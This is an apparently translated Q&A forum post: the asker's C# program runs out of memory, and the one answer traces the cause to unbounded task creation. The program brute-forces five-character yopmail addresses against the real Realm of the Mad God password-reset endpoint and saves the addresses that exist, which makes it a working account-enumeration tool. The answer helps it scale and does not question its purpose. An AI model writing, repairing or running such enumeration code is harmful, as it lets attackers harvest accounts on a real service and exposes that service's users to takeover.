Webrequest

时间:2016-05-22 19:56:52

标签: c#

我的问题是它使用了太多的内存。它将从低开始然后蠕变到34%使用率=> outofmemory例外。

我不知道如何让它摆脱使用的内存,或者只是减少使用它。我真的不确定!

代码:

using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace Kek
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            Program p = new Program();
            p.StartYopForce();

            Console.ReadKey();
        }

        private readonly object syncRoot = new object();

        public void loadUrlThreadMethodMail(string email)
        {
            Console.Title = "\r" + email;

            var request = (HttpWebRequest)WebRequest.Create("http://www.realmofthemadgod.com/account/forgotPassword?guid=" + email + "@yopmail.com");

            using (var response = (HttpWebResponse)request.GetResponse())
            {
                if (response.ToString() == "<Success/>")
                {
                    Console.WriteLine($"[{DateTime.Now}] Found: " + email + "@yopmail.com");

                    lock (syncRoot)
                    {
                        using (StreamWriter sw = File.AppendText(@"C:\Users\Bailey\Desktop\Lists\yop.txt"))
                        {
                            sw.WriteLine(email + "@yopmail.com");
                            sw.Close();
                        }
                    }
                }
            }
        }

        public void StartYopForce()

        {
            Bruteforce b = new Bruteforce();

            b.charset = "abcdefghijklmnopqrstuvwxyz1234567890";
            b.min = 5;
            b.max = 5;

            foreach (string i in b)
            {
                Task.Factory.StartNew(() =>
                {
                    loadUrlThreadMethodMail(i);
                });
            }
        }
    }
}

internal class Bruteforce : IEnumerable
{
    #region constructors

    private StringBuilder sb = new StringBuilder();

    //the string we want to permutate
    public string charset = "abcdefghijklmnopqrstuvwxyz";

    private ulong len;
    private int _max;
    public int max { get { return _max; } set { _max = value; } }
    private int _min;
    public int min { get { return _min; } set { _min = value; } }

    #endregion constructors

    #region Methods

    public System.Collections.IEnumerator GetEnumerator()
    {
        len = (ulong)this.charset.Length;
        for (double x = min; x <= max; x++)
        {
            ulong total = (ulong)Math.Pow((double)charset.Length, (double)x);
            ulong counter = 0;
            while (counter < total)
            {
                string a = factoradic(counter, x - 1);
                yield return a;
                counter++;
            }
        }
    }

    private string factoradic(ulong l, double power)
    {
        sb.Length = 0;
        while (power >= 0)
        {
            sb = sb.Append(this.charset[(int)(l % len)]);
            l /= len;
            power--;
        }
        return sb.ToString();
    }

    #endregion Methods
}

1 个答案:

答案 0 :(得分:1)

您正在StartYopForce()循环中创建所有任务,而不计算仍有多少任务。给定参数,您可以启动26 ^ 5 = 11881376个任务。

任务创建可能比任务完成运行得更快,因此任务列表的建立速度比清空时快,并且给定的任务数量不是可忽略的内存量。